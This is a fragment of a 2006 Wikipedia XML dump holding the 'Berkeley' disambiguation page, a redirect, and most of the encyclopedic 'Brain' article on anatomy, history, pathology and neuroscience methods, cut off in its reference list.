      <timestamp>2006-01-22T21:44:44Z</timestamp>
      <contributor>
        <ip>69.238.48.34</ip>
      </contributor>
      <text xml:space="preserve">'''Berkeley''' is the name of several places, all eventually deriving from [[Berkeley Castle]] in [[Berkeley, Gloucestershire]], [[UK]], from whom the noble family of '''Berkeley''' derive their name, and for which several vessels of the British [[Royal Navy]] have been christened &quot;[[HMS Berkeley Castle]]&quot;.  Any of the holders of several titles in the British Peerage may be known as [[Lord Berkeley]], including [[Baron Berkeley]]. There are also the [[Berkeley Baronets]]. The former '''Berkeley House, London,''' has given its name to [[Berkeley Square]], London, which inspired a 1933 movie ''[[Berkeley Square (movie)|Berkeley Square]]'' which inspired a [[Berkeley Square (TV miniseries)|TV miniseries, &quot;Berkeley Square&quot;]]. &quot;[[A Nightingale Sang in Berkeley Square]]&quot; is a popular British song.

In the US there are numerous places named '''Berkeley'''. They honour either Sir [[William Berkeley]], governor of [[Virginia]] and co-proprietor of [[New Jersey]], in whose honour [[Berkeley Plantation]] in Tidewater Viginia was named; or Bishop [[George Berkeley]].

*[[Berkeley, California]]
**'''&quot;Berkeley&quot;''' may refer to the [[University of California, Berkeley]], also known as &quot;UC Berkeley&quot; or &quot;Cal&quot;, but should not be confused with [[Berkeley College]], [[Berkeley College, (Yale)|Berkeley College at Yale]], or [[Berklee College of Music]].
***the [[Berkeley Mafia]] of Indonesian economists, trained at UC Berkeley
***the [[Berkeley Lower Extremity Exoskeleton]], a robotic prosthesis, also developed there.
*[[Berkeley, Illinois]]
*[[Berkeley, Missouri]]
*[[Berkeley, Virginia]]
*[[Berkeley Heights, New Jersey]]
*[[Berkeley Lake, Georgia]]
*[[Berkeley Township, New Jersey]]
*[[Berkeley County, South Carolina]]
*[[Berkeley County, West Virginia]]

In Canada there is:
*[[Berkeley, Ontario]]

See also places named [[Berkley]], an alternative spelling of the name.

'''Berkeley''' is a surname of:
*&quot;Anthony Berkeley&quot; a pseudonym of [[Anthony Berkeley Cox]], writer
*[[Busby Berkeley]], film [[choreographer]]
*[[Elizabeth Berkeley]], wife of [[Charles Somerset, 4th Duke of Beaufort|Charles Noel Somerset, 4th Duke of Beaufort]]
*Bishop [[George Berkeley]], [[idealist]] [[philosopher]]
*[[Humphry Berkeley]], [[politician]]
*Sir [[Lennox Berkeley]], [[composer]]
*[[Michael Berkeley]], [[composer]] and son of Sir Lennox
*[[Miles Joseph Berkeley]], [[botanist]]
*[[Theresa Berkeley]], [[London]] [[madam]]
*Sir [[William Berkeley]]
*[[Xander Berkeley]], [[actor]]

In addition, '''Berkeley''' may refer to:
* either of two British car manufacturers (see [[Berkeley cars]]).
*[[Berkeley DB]], an embedded database system by [[Sleepycat Software]].
*[[Berkeley Fast File System]].
*[[Berkeley Software Distribution]]
*the [[Berkeley Pit]], a former copper mine in [[Butte, Montana]], the largest [[Superfund]] site.
*the [[Berkeley (ferryboat)|''Berkeley'']], a ferryboat from the [[San Francisco Bay Area]] and now a museum ship in [[San Diego]].
*the [[USS Berkeley (DDG-15)]], named for General Randolph Carter Berkeley USMC, a Virginian.
*the [[Berkeley Carroll School]], a [[private school]] in [[Brooklyn]], [[New York City]].


Places in England and English people called Berkeley are pronounced /{{IPA|ˈbɑː.kliː}}/ while American places named Berkeley are pronounced /{{IPA|ˈbəɹ.kli}}/ possibly by derivation from an Irish pronunciation, /{{IPA|ˈbɑɹ.kli}}/.

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  </page>
  <page>
    <title>Bovine Spongiform Encephalopathy</title>
    <id>3716</id>
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      <id>15902031</id>
      <timestamp>2002-08-22T14:04:05Z</timestamp>
      <contributor>
        <username>Heron</username>
        <id>2954</id>
      </contributor>
      <minor />
      <comment>redirected to lowercase version</comment>
      <text xml:space="preserve">#REDIRECT [[bovine spongiform encephalopathy]]</text>
    </revision>
  </page>
  <page>
    <title>Brain</title>
    <id>3717</id>
    <revision>
      <id>42072215</id>
      <timestamp>2006-03-03T17:03:44Z</timestamp>
      <contributor>
        <username>DV8 2XL</username>
        <id>146684</id>
      </contributor>
      <comment>revert back to last by Semiconscious</comment>
      <text xml:space="preserve">{{dablink|For other articles about other subjects named brain see [[brain (disambiguation)]]. For information on the [[human brain]] specifically, please see its article.}}

[[Image:Brains.jpg|thumb|right|230px|Comparative brain sizes]]
In [[animal]]s, the '''brain''', or ''encephalon'' ([[Greek (language)|Greek]] for &quot;in the head&quot;), is the control center of the [[central nervous system]]. In most animals, the brain is located in the head close to the primary sensory apparatus and the mouth. While all [[vertebrate]] [[nervous system]]s have a brain, [[invertebrate]] nervous systems have either a centralized brain or collections of individual [[ganglion|ganglia]]. The brain is an extremely complex organ; for example, the human brain contains 100 billion [[neuron]]s, each linked with up to 25,000 others [http://faculty.washington.edu/chudler/facts.html]. This huge number of interconnecting neurons—often referred to as a [[neural ensemble]]—is what allows the brain to conduct such complex processes.

The brain controls and coordinates most [[sensory system]]s, [[movement]], [[behavior]], and [[homeostasis|homeostatic]] body functions such as [[heart rate]], [[blood]] pressure, fluid balance, and body temperature. The brain is the source of [[cognition]], [[emotion]], [[memory]], and [[motor learning|motor]], and other forms of [[learning]]. Many behaviors such as simple [[reflex action|reflexes]] and basic [[animal locomotion|locomotion]], can be executed under [[spinal cord]] control alone.

Most brains exhibit a visible distinction between [[grey matter]] and [[white matter]]. Grey matter consists of the [[cell (biology)|cell]] bodies of the neurons, while the white matter consists of the fibers ([[axon]]s) that connect neurons. The entire outer visible layers of the brain is called the [[cerebral cortex|cortex]] which consists primarily of grey matter. However, deeper grey matter structures called [[nucleus (neuroanatomy)|nuclei]] also exist throughout the central nervous system. The axons of this white matter are surrounded by a [[fat|fatty]] [[insulation|insulating]] sheath called [[myelin]], giving the white matter its distinctive color.

The study of the brain is known as [[neuroscience]], a field of [[biology]] aimed at understanding the functions of the brain at every level, from the [[molecule|molecular]] up to the [[psychology|psychological]].

==History==       
[[Image:hieroglyphic-brain.jpg|left|thumb|150px|Hieroglyphic for the word &quot;brain&quot; (c.1700 BC)]]
The Edwin Smith Surgical Papyrus, written in the 17th century BC, contains the earliest recorded reference to the brain.  The word brain (adjacent), occuring eight times in this papyrus, describes the symptoms, diagnosis, and prognosis of two patients, wounded in the head, who had compound fractures of the skull.{{ref|kandel}}

In the first millennium BC, the [[Ancient Greece|Ancient Greeks]] developed differing views on the function of the brain.  In the 4th BC [[Hippocrates]], the father of medicine, believed the brain to be the seat of intelligence. In the 3rd century BC [[Aristotle]] believed that the brain was a cooling mechanism for the blood while the heart was the seat of [[intelligence (trait)|intelligence]]. He reasoned that humans are more rational than the beasts because they have a larger brain to cool their hot-bloodedness {{ref|bear}}.
[[Image:1543,AndreasVesalius'Fabrica,BaseOfTheBrain.jpg|right|thumb|150px|Drawing of the base of the brain by [[Vesalius|Andrea Vesalius]] (1543).]]

During the [[Roman Empire]], the anatomist [[Galen]] dissected the brains of [[sheep]]. He concluded that since the [[cerebellum]] was more dense than the brain, it must control the [[muscle]]s. Since [[cerebral cortex|cerebrum]] was soft, it must be where the senses were processed. Galen further theorized that the brain functioned by movement of fluids through the [[ventricular system|ventricles]]{{ref|bear}}.

In the [[Age of Enlightenment]], [[René Descartes]] espoused a fluid mechanical view of the brain similar to Galen's. However, Descartes thought that although this explanation was adequate for the brain functions of animals, the higher mental functions of humans were accomplished by the soul. This theoretical separation of the mind and brain became known as the [[mind-body problem]], with Descartes espousing the [[dualism|dualist]] view of the mind as separate from the brain{{ref|bear}}.

[[Image: CajalCerebellum.jpg|left|thumb|200px|Drawing of the cells in the [[chicken]] cerebellum by [[Santiago Ramón y Cajal|S. Ramón y Cajal]]]]
In the mid-[[1600s]] great progress in describing the [[anatomy]] of the brain ([[neuroanatomy]]) was achieved by the [[English people|English]] anatomist [[Thomas Willis]] and [[Flemish people|Flemish]] anatomist [[Vesalius]]. They dispelled many of the notions of Galen and Descartes, and resolved many facts about the macro structure of the brain.

In the [[1700s]], [[Luigi Galvani]] showed that [[electricity|electrically]] stimulating the [[sciatic nerve]] of a dissected [[frog]] caused movement of the attached muscle. His experiments moved scientists away from the fluid mechanical theory of the brain and toward an electrical theory. In the 19th century, Galvani's work led to research in [[bioelectromagnetism|bioelectricity]] and to the discovery of the [[membrane potential]] and [[action potential]] by researchers such as [[Emil du Bois-Reymond]]. 

The scientists of the [[1800s]] debated whether [[List of regions in the human brain|areas of the brain]] corresponded to specific functions or if the brain functioned as a whole (the &quot;aggregate field theory&quot;). [[Jean Pierre Flourens]] championed the aggregate field theory in opposition to the [[pseudoscience]] of [[phrenology]], founded by [[Franz Joseph Gall]]. However, the work of [[Paul Pierre Broca]], [[Karl Wernicke]], and [[Korbinian Brodmann]] eventually helped to show that areas of the brain had specific functions. Their work showed that, while some functions were repeated, there is also a [[lateralization of brain function]] wherein certain functions such as [[speech]] and [[language]] are usually controlled by one [[cerebral hemisphere]] as opposed to another. The redundancy of functioning has come to be known as parallel distributed processing {{ref|kandel}}.

[[Image:1st-eeg.gif|thumb|First EEG trace recorded by Hans Berger (1929)]]
By the [[20th century]], the anatomical works of [[Santiago Ramón y Cajal]] and [[Camillo Golgi]] laid the foundation for the study of individual neurons. [[Charles Scott Sherrington]] and [[Edgar Douglas Adrian, 1st Baron Adrian|Edgar Douglas Adrian]] furthered the study of neurons with the new techniques using [[electrode]]s. [[Neurotransmitter]]s were discovered and investigated by many scientists, including [[Otto Loewi]], [[Henry Hallett Dale]], and [[Arvid Carlsson]]. These [[neurochemistry|neurochemicals]] are responsible for carrying signals from one neuron to another across the tiny gaps ([[synapse]]s) between the neuronal connections.

In 1929, [[Germans|German]] [[physician]] [[Hans Berger]] recorded the first electrical potentials from a living brain. This technique—known as [[electroencephalography]] or EEG—led to the widespread use of [[neuroimaging]] on live, active humans and animals to study the processes of the mind.

==Modern neuroscience==
Modern neuroscience is experiencing rapid growth due to the availability of computers capable of handling the intense processing required for understanding such a complex system. Neuroscientists use many different approaches to study the brain at different levels—from the molecules to systems. Extensive knowledge has been accumulated about the [[electrophysiology|electrophysiological]] properties of different types of neurons and their responsiveness to neurotransmitters. Recordings from the brains of awake, behaving animals pioneered by [[Edward Evarts]] help to decode neuronal firing during different behaviors and cognitive processes. [[Miguel Nicolelis]] introduced multielectrode recording techniques which led to creation of rudimentary [[brain-computer interface]]s. Rapidly developing neuroimaging techniques such as [[functional magnetic resonance imaging]] (fMRI) allows scientists to study the brain in living humans and animals in ways that their predecessors could not.

==Mind and brain==
{{portalpar|Mind and Brain}}
A distinction is sometimes made in the [[philosophy of mind]] between the [[mind]] and brain. The brain is defined as the physical, biological [[matter]] contained within the [[head]], responsible for all electrochemical neuronal processes. The mind, however, exists as something outside of the brain. The mind is sometimes thought of as [[consciousness]], the [[soul]], or some other non-physical center of thought.

The inability to determine what consciousness is has led to the [[mind-body problem]]. Some philosophers such as [[strong AI]] theorists believe that the mind is analogous to [[computer software]] and the brain to [[computer hardware|hardware]].

==Comparative anatomy==
[[Image:Mouse_brain.jpg|thumb|right|A mouse brain.]]
Three groups of animals, with some exceptions, have notably complex brains: the [[arthropod]]s ([[insect]]s and [[crustacean]]s), the [[cephalopod]]s ([[octopus]]es, [[squid]], and similar [[mollusk]]s), and the [[craniata|craniates]] ([[vertebrate]]s){{ref|butler}}. The brain of arthropods and cephalopods arises from twin parallel nerve cords that extend through the body of the animal. In arthropods, the brain consists of a central brain with three divisions and large ''optical lobes'' behind each [[eye]] for visual processing{{ref|butler}}.

The brain of craniates develops from the [[anatomical terms of location|anterior]] section of a single dorsal [[neural tube|nerve cord]], which later becomes the [[spinal cord]]{{ref|kandel}}. In craniates, the brain is protected by the [[bone]]s of the [[skull]]. In vertebrates, increasing [[complexity]] in the [[cerebral cortex]] correlates with height on the [[phylogenetic tree|phylogenetic]] and [[evolutionary tree]]. Primitive vertebrates such as [[fish]], [[reptile]]s, and [[amphibian]]s have fewer than six layers of neurons in the outer layer of their brains. This cortical configuration is called the [[allocortex]] (or heterotypic cortex){{ref|martin}}.

More complex vertebrates such as [[mammal]]s have a six-layered [[neopallium|neocortex]] (or homotypic cortex, neopallium), in addition to having some parts of the brain that are allocortex{{ref|martin}}. In mammals, increasing convolutions of the brain are characteristic of animals with more advanced brains. These convolutions provide a larger surface area for a greater number of neurons while keeping the volume of the brain compact enough to fit inside the skull. This folding allows more grey matter to fit into a smaller volume, similar to a really long slinky being able to fit into a tiny box when completely pushed together. The folds of the brain are called [[gyrus|gyri]], while the spaces between the folds are called the [[sulcus|sulci]].

Although the general [[histology]] of the brain is similar from person to person, the structural anatomy can differ. Apart from the gross [[embryology|embryological]] divisions of the brain, the individual location of specific gyri and sulci, primary sensory regions, and other structures in relation to one another differs across creatures.

===Invertebrates===
In insects, the brain has four parts, the optical lobes, the protocerebrum, the deutocerebrum, and the tritocerebrum. The optical lobes are behind each eye and process visual stimuli {{ref|butler}}. The protocerebrum contains the [[mushroom bodies]], which respond to [[olfaction|smell]], and the central body complex. In some [[species]] such as [[bee]]s, the mushroom body receives input from the visual pathway as well. The deutocerebrum includes the [[antennal lobe]]s, which are similar to the mammalian [[olfactory bulb]], and the [[mechanosensor|mechanosensory]] [[neuropil]]s which receive information from [[touch]] receptors on the head and [[antenna (biology)|antennae]]. The antennal lobes of [[fly|flies]] and [[moth]]s are quite complex.

In cephalopods, the brain has two regions: the supraesophageal mass and the subesophageal mass {{ref|butler}}, separated by the [[esophagus]]. The supra- and subesophageal masses are connected to each other on either side of the esophagus by the basal lobes and the dorsal magnocellular lobes {{ref|butler}}. The large optic lobes are sometimes not considered to be part of the brain proper, as the optic lobes are anatomically separate from the brain and are joined to the brain by the optic stalks. However, the optic lobes perform much of the visual processing and functionally can be considered part of the brain.

===Vertebrates===
[[Image:Brain-anatomy.jpg|right|thumb|350px|The lobes of the cerebral cortex include the [[frontal lobe|frontal]] (red), [[temporal lobe|temporal]] (green), [[occipital lobe|occipital]] (yellow), and [[parietal lobe]]s (orange). The [[cerebellum]] (blue) is not part of the telencephalon. In vertebrates a gross division into three major parts is used.]]

The [[telencephalon]] (cerebrum) is the largest section of the mammalian brain. This is the structure that is most easily visible, and is what most people associate with the &quot;brain&quot;. In humans the fissures (sulci) and convolutions (gyri) give the brain a wrinkled appearance. In non-mammalian vertebrates that have no cerebrum, the [[metencephalon]] is the highest center in the brain. Because humans walk upright, there is a flexure, or bend, in the brain between the [[brain stem]] and the cerebrum. Other vertebrates do not have this flexure, and so comparing the locations of certain brain structures between humans and other vertebrates can be confusing.

Behind (or in humans, below) the cerebrum is the cerebellum. The cerebellum functions mainly in the control of movement and movement timing {{ref|kandel}}. It is connected via thick white matter fibers (cerebellar peduncles) to the [[pons]]{{ref|martin}}. The cerebrum and the [[cerebellum]] each consist of two hemispheres. The telencephalic hemispheres are connected by the [[corpus callosum]], another large white matter tract. An outgrowth of the telencephalon called the [[olfactory bulb]] is a major structure in many animals, but in humans and other primates it is relatively small.

Vertebrate nervous systems are distinguished by [[encephalization]] and [[symmetry (biology)#Bilateral symmetry|bilateral symmetry]]. Encephalization refers to the tendency for more complex organisms to gain larger brains through evolutionary time. Larger vertebrates develop a complex layered and interconnected neuronal circuitry. In modern species most closely related to the first vertebrates, brains are covered with gray matter that has a three-layer structure (allocortex). Their brains also contain deep brain nuclei and fiber tracts forming the white matter. Most regions of the human cerebral cortex have six layers of neurons (neocortex) {{ref|martin}}.

====Vertebrate brain regions====
(''See related article at [[List of regions in the human brain]]'')
[[Image:EmbryonicBrain.png|thumb|right|300px|Diagram depicting the main subdivisions of the [[embryonic]] vertebrate brain.  These regions will later differentiate into forebrain, midbrain and hindbrain structures.]]
According to the hierarchy based on embryonic and evolutionary development, [[chordate]] brains are composed of the three regions that later develop into five total divisions:
*[[rhombencephalon|Rhombencephalon]] (hindbrain)
**[[myelencephalon|Myelencephalon]]
**[[metencephalon|Metencephalon]]
*[[mesencephalon|Mesencephalon]] (midbrain)
*[[prosencephalon|Prosencephalon]] (forebrain)
**[[diencephalon|Diencephalon]]
**[[telencephalon|Telencephalon]]

The brain can also be classified according to function, including divisions such as:
*[[Limbic system]]
*[[Sensory system]]s
**[[Visual system]]
**[[Olfactory system]]
**[[Gustatory system]]
**[[Auditory system]]
**[[Somatosensory system]]
*[[Muscle|Motor system]]
*[[cerebral cortex|Associative areas]]

====Humans====
{{main|human brain}}
The structure of the human brain differs from that of other animals in several significant ways. These differences have allowed for many abilities over and above those of other animals, such as advanced cognitive skills. Human encephalization is especially pronounced in the neocortex, the most complex part of the cerebral cortex. The proportion of the human brain that is devoted to the neocortex—especially to the [[prefrontal cortex]]—is larger than in all other [[animal]]s.

Humans enjoy unique neural capacities, but much of the human brain structure is shared with ancient species. Basic systems that alert the nervous system to stimulus, that sense events in the environment, and monitor the condition of the body are similar to those of the most basic vertebrates. The neural circuitry underlying human consciousness includes both the advanced neocortex and prototypical structures of the brain stem. The human brain also has a massive number of synaptic connections allowing for a great deal of [[parallel processing]].

==Neurobiology==
Despite the variance of the species in which the brain is found there are many common features in its cellular make-up, its structure, and its function. On a cellular level the brain is composed of two classes of cells, neurons and [[glia]], both of which contain several different cell types which perform different functions. Interconnected neurons form [[neural network]]s (or [[neural ensemble]]s). These networks are similar to man-made [[electrical circuit]]s in that they contain circuit elements (neurons) connected by biological wires (nerve fibers). These do not form simple one-to-one electrical circuits like many man-made circuits, however. Typically neurons connect to at least a thousand other neurons{{ref|1}}. These highly specialized circuits make up systems which are the basis of [[perception]], action, and higher cognitive function.

===Histology===
[[Image:Neuron.jpg|thumb|Diagram of basic features of a neuron.]]
Neurons are the cells that generate action potentials and convey information to other cells; these constitute the essential class of brain cells. In each brain area, input (or [[afferent]]) neurons, output (or [[efferent]]) neurons, and [[interneurons]] are typically found. Input neurons receive projections from other brain areas. Output neurons project to the other areas. [[Interneuron]]s are neurons which perform local processing and do not leave the area.

In addition to neurons, the brain contains glial cells in a roughly 10:1 proportion to neurons. Glial cells (&quot;glia&quot; is Greek for “glue”) form a support system for neurons. They create the insulating myelin, provide structure to the neuronal network, manage waste, and clean up nearuotransmitters. Most types of glia in the brain are present in the entire [[nervous system]]. Exceptions include the [[oligodendrocyte]]s which myelinate neural [[axon]]s (a role performed by [[Schwann cell]]s in the peripheral nervous system). The myelin in the oligodendrocytes insulates the axons of some neurons. [[White matter]] in the brain is myelinated neurons, while [[grey matter]] contains mostly cell [[soma (biology)|soma]], [[dendrite]]s, and unmyelinated portions of axons and glia. The space between neurons is filled with dendrites as well as unmyelinated segments of axons; this area is referred to as the [[neuropil]].

In mammals, the brain also contains [[connective tissue]] called the [[meninges]], a system of membranes that separate the skull from the brain. This three-layered covering is made of, from the outside in, [[dura mater]], [[arachnoid mater]], and [[pia mater]]. The arachnoid and pia are physically connected and thus often considered as a single layer, the pia-arachnoid. Below the arachnoid is the subarachnoid space which contains [[cerebrospinal fluid]], a substance that protects the nervous system. [[Blood vessel]]s enter the central nervous system through the perivascular space above the pia mater. The cells in the blood vessel walls are joined tightly, forming the [[blood-brain barrier]] which protects the brain from [[toxin]]s that might enter through the blood.

The brain is suspended in cerebrospinal fluid (CSF), which circulates between layers of the meninges and through cavities in the brain called [[ventricle]]s. It is important both chemically for [[metabolism]] and mechanically for shock-prevention. For example, the human brain weighs about 1-1.5 [[kilograms|kg]]. The [[mass]] and [[density]] of the brain are such that it will begin to collapse under its own weight. The CSF allows the brain to float, easing the [[stress (physics)|stress]] caused by the brain’s mass.

===Function===
Vertebrate brains receive signals through nerves arriving from the sensors of the organism. These signals are then interpreted throughout the central nervous system reactions are formulated based upon reflex and learned experiences. A similarly extensive nerve network delivers signals from a brain to control muscles throughout the body. Anatomically, the majority of afferent and efferent nerves (with the exception of the [[cranial nerves]]) are connected to the spinal cord, which then transfers the signals to and from the brain.

Sensory input is processed by the brain to recognize danger, find food, identify potential mates, and perform more sophisticated functions. [[Vision|Visual]], touch, and [[hearing (sense)|auditory]] sensory pathways of vertebrates are routed to specific nuclei of the [[thalamus]] and then to regions of the cerebral cortex that are specific to each [[sensory system]]. The [[visual system]], the [[auditory system]], and the [[somatosensory system]]. Olfactory pathways are routed to the olfactory bulb, then to various parts of the [[olfactory system]]. [[Taste]] is routed through the brainstem and then to other portions of the [[gustatory system]].

To control movement the brain has several parallel systems of muscle control. The motor system controls voluntary muscle movement, aided by the [[motor cortex]], [[cerebellum]], and the [[basal ganglia]]. The system eventually projects to the spinal cord and then out to the muscle effectors. Nuclei in the brain stem control many involuntary muscle functions such as heart rate and breathing. In addition, many automatic acts (simple reflexes, locomotion) can be controlled by the spinal cord alone.

Brains also produce a portion of the body's [[hormone]]s that can influence organs and glands elsewhere in a body—conversely, brains also react to hormones produced elsewhere in the body. In mammals, most of these hormones are released into the [[circulatory system]] by a structure called the [[pituitary gland]].

It is hypothesized that developed brains derive consciousness from the complex interactions between the numerous systems within the brain. Cognitive processing in mammals occurs in the cerebral cortex but relies on midbrain and [[limbic system|limbic]] functions as well. Among &quot;younger&quot; (in an evolutionary sense) vertebrates, advanced processing involves progressively rostral (forward) regions of the brain.

Hormones, incoming sensory information, and cognitive processing performed by the brain determine the brain state. Stimulus from any source can trigger a general arousal process that focuses cortical operations to processing of the new information. This focusing of cognition is known as [[attention]]. Cognitive priorities are constantly shifted by a variety of factors such as hunger, fatigue, belief, unfamiliar information, or threat. The simplest dichotomy related to the processing of threats is the [[fight-or-flight response]] mediated by the [[amygdala]] and other limbic structures.

===Brain pathology===
[[Image:Frontotemporal_degeneration.jpg|right|thumb|250px|A [[human brain]] showing [[frontotemporal lobar degeneration]] causing frontotemporal dementia.]]
Clinically, [[death]] is defined as an absence of brain activity as measured by EEG. Injuries to the brain tend to affect large areas of the organ, sometimes causing major deficits in intelligence, memory, and movement. Head trauma caused, for example, by vehicle and industrial accidents, is a leading cause of death in youth and middle age. In many cases, more damage is caused by resultant swelling ([[edema]]) than by the impact itself. [[Stroke]], caused by the blockage or rupturing of blood vessels in the brain, is another major cause of death from brain damage.

Other problems in the brain can be more accurately classified as diseases rather than injuries. [[Neurodegenerative disease]]s, such as [[Alzheimer's disease]], [[Parkinson's disease]], [[motor neurone disease]], and [[Huntington's disease]] are caused by the gradual death of individual neurons, leading to decrements in movement control, memory, and cognition. Currently only the symptoms of these diseases can be treated. [[Mental illness]]es, such as [[clinical depression]], [[schizophrenia]], [[bipolar disorder]], and [[post-traumatic stress disorder]] are brain diseases that impact the personality and typically on other aspects of mental and somatic function. These disorders may be treated by [[psychiatry|psychiatric therapy]], [[medication|pharmaceutical]] intervention, or through a combination of treatments; therapeutic effectiveness varies significantly among individuals.

Some infectious diseases affecting the brain are caused by [[virus|viral]] and [[bacteria]]l infection(s). Infection of the meninges, the membrane that covers the brain, can lead to [[meningitis]]. [[Bovine spongiform encephalopathy]] (also known as mad cow disease), is deadly in [[cattle]] and is linked to [[prion]]s. [[Kuru (disease)|Kuru]] is a similar prion-borne degenerative brain disease affecting humans. Both are linked to the ingestion of neural tissue, and may be an evolutionary defense against [[cannibalism]]. Viral or bacterial causes have been substantiated in [[multiple sclerosis]], Parkinson's disease, [[Lyme disease]], [[encephalopathy]], and [[encephalomyelitis]].

Some brain disorders are [[congenital disorder|congenital]]. [[Tay-Sachs disease]], [[Fragile X syndrome]], and [[Down syndrome]] are all linked to [[gene]]tic and [[chromosome|chromosomal]] errors.  Malfunctions in the embryonic [[neural development|development]] of the brain can be caused by genetic factors, by [[drug use]], and [[disease]] during a mother's [[pregnancy]].

==The study of the brain==
===Fields of study===
Several areas of [[science]] specifically study the brain. Neuroscience seeks to understand the nervous system, including the brain, from a biological and [[computational neuroscience|computational]] perspective. Psychology seeks to understand behavior and the brain. The terms [[neurology]] and psychiatry usually refer to [[medicine|medical]] applications of neuroscience and psychology respectively. [[Cognitive science]] seeks to unify neuroscience and psychology with other fields that concern themselves with the brain, such as [[computer science]] ([[artificial intelligence]] and similar fields) and [[philosophy]].

===Methods of observation===
{{main|neuroimaging}}

====Electrophysiology====
Each method for observing activity in the brain has its advantages and drawbacks. Electrophysiology, in which wire electrodes are implanted in the brain, allows scientists to record the electrical activity of individual neurons or fields of neurons. However this method requires invasive surgery and thus this technique is typically usually used only with lab animals or during [[neurosurgery]].

====EEG====
By placing electrodes on the scalp one can record the summed electrical activity of the cortex in a technique known as (EEG). EEG measures the mass changes in electrical current from the cerebral cortex, but can only detect changes over large areas of the brain with very little sub-cortical activity.

====fMRI and PET====
Functional magnetic resonance imaging (fMRI) measures changes in [[blood flow]] in the brain, but the activity of neurons is not directly measured, nor can it be distinguished whether this activity is inhibitory or excitatory. Similarly, a positron emission tomography (PET), is able to monitor [[glucose]] metabolism in different areas within the brain which can be correlated to the level of activity in that region.

====Behavioral====
Behavioral tests can measure symptoms of disease and mental performance, but can only provide indirect measurements of brain function and may not be practical in all animals. In humans however, a neurological exam can be done to determine the location of any trauma, [[lesion]], or [[tumor]] within the brain, brain stem, or spinal cord.

====Anatomical====
[[post-mortem|Autopsy]] analysis of the brain allows for the study of anatomy and [[protein]] expression patterns, but is only possible after the human or animal is dead. [[Magnetic resonance imaging]] (MRI) can be used to study the anatomy of a living creature and is widely used in both research and medicine.

====Other methods====
Attempts have also been made to directly &quot;read&quot; the brain, which has been accomplished in a rudimentary manner through a brain-computer interface. Brain activity can be detected by implanted electrodes, raising the possibility of direct mind-computer interface. The reverse method has been successfully demonstrated: [[brain implant]]s have been used to generate artificial hearing and (crude and experimental) artificial vision for deaf and blind people. [[Brain pacemaker]]s are now commonly used to regulate brain activity in conditions such as Parkinson's disease.

===Other matters===
[[computer science|Computer scientists]] have produced simulated neural networks loosely based on the structure of neuron connections in the brain. Artificial intelligence seeks to replicate brain function—although not necessarily brain mechanisms—but as yet has been met with limited success.

Creating [[algorithm]]s to mimic a biological brain is very difficult because the brain is not a static arrangement of circuits, but a network of vastly interconnected neurons that are constantly changing their connectivity and sensitivity. More recent work in both neuroscience and artificial intelligence models the brain using the [[mathematics|mathematical]] tools of [[chaos theory]] and [[dynamical system]]s. Current research has also focused on recreating the neural structure of the brain with the aim of producing human-like cognition and artificial intelligence.

==Brain as food==
Like most other internal organs, the brain can serve as nourishment. For example, in the [[Southern United States]] canned [[pork]] brain in [[gravy]] can be purchased for consumption as food. The form of brain is often fried with [[scrambled eggs]] to produce the famous &quot;Eggs n' Brains&quot;.{{ref|2}} The brain of animals also features in [[French cuisine]] such as in the dish ''[tête de veau]'', or ''head of calf''. Although it might consist only of the outer meat of the skull and [[jaw]], the full meal includes the brain, [[tongue]], and [[gland]]s, with the latter form being the favorite food of [[President of the French Republic|French President]] [[Jacques Chirac]].{{ref|tete_de_veau}} Similar delicacies from around the world include [[Mexico|Mexican]] ''[[taco]]s de sesos'' made with cattle brain as well as [[squirrel]] brain in the US South.{{ref|around_the_world}} The [[Anyang]] tribe of [[Cameroon]] practiced a tradition in which a new [[tribal chief]] would consume the brain of a hunted [[gorilla]] while another senior member of the [[tribe]] would eat the heart.{{ref|3}}

Consuming the brain and other nerve tissue of animals is not without its risks. The first problem is that the brain is made up of 60% fat due to the myelin (which by itself is 70% fat) insulating the axons of neurons and glia.{{ref|4}} As an example, a 0.14 kg can of &quot;pork brains in milk gravy&quot;, a single serving, contains 3500 milligrams of [[cholesterol]], 1170% of our recommended daily intake.{{ref|5}} 

Brain consumption can also result in contracting fatal [[Transmissible spongiform encephalopathy|transmissible spongiform encephalopathies]] such as Variant [[Creutzfeldt-Jakob disease]] and other [[prion]] diseases in humans and [[Bovine spongiform encephalopathy|mad cow disease]] in cattle.{{ref|collinge}}. Another prion disease called [[kuru]] has been traced to a funerary ritual among the [[Fore]] people of [[Papua New Guinea]] in which those close to the dead would eat their brain to create a sense of [[immortality]].{{ref|collins}} Some [[archaeology|archaeological]] evidence suggests that the mourning rituals of [[Europe|European]] [[Neanderthal]]s also involved the consumption of the brain.{{ref|8}}

The practice of eating another human's brain has been depicted by [[Cinema of the United States|Hollywood]] in the [[film]] ''[[Hannibal (film)|Hannibal]]'' and countless [[zombie]] movies.

It is not only humans who eat the brains of other animals. The two species of [[chimpanzee]], though generally [[vegetarian|vegetarian]], are known to eat the brains of [[monkey]]s to obtain fat in their diet.{{ref|9}}

==See also==
*[[Nervous system]]
*[[Central nervous system]]
*[[Neuroscience]]
*[[Neurology]]
*[[A/S ratio]]
*[[Brain damage]]
*[[Brain-computer interface]]
*[[Human brain]]
*[[List of regions in the human brain|Regions in the human brain]]
*[[Traumatic brain injury]]

==Further reading==
*{{cite book|author=Junqueira, L.C., and J. Carneiro|title=Basic Histology: Text and Atlas, Tenth Edition|publisher=Lange Medical Books McGraw-Hill|year=2003|id=ISBN 0071215654}}
*{{cite book|author=Sala, Sergio Della, editor.|title=Mind myths: Exploring popular assumptions about the mind and brain|publisher=J. Wiley &amp; Sons, New York|year=1999|id=ISBN 0471983039}}
*{{cite book|author=Vander, A., J. Sherman, D. Luciano|title=Human Physiology: The Mechanisms of Body Function|publisher=McGraw Hill Higher Education|year=2001|id=ISBN 0071180885}}

===References===
&lt;div style=&quot;font-size:85%&quot;&gt;
# {{note | bear }}{{cite book
 | last = Bear | first = M.F.
 | coauthors = B.W. Connors, and M.A. Paradiso
 | title = Neuroscience: Exploring the Brain
 | location = Baltimore | publisher = Lippincott
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 | id = ISBN 0781739446
 }}
# {{note | butler }}{{cite journal
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 | journal = The Anatomical Record
 | year = 2000 | volume = 261 | pages = 111–125
 }}
# {{note | kandel }} {{cite book
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 | title = [[Principles of Neural Science]]
 | edition = 4th ed.
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 | year = 2000
 | id = ISBN 0838577016
 }}
# {{note | martin }}{{cite book
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 | title = Neuroanatomy: Text and Atlas
 | edition = Second Edition
 | publisher = McGraw-Hill | location = New York
 | year = 1996
 | id = ISBN 007138183X
 }}
# {{note|1}} {{cite book
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 | first = L.C. | last = Junqueira
 | coauthors = J. Carneiro
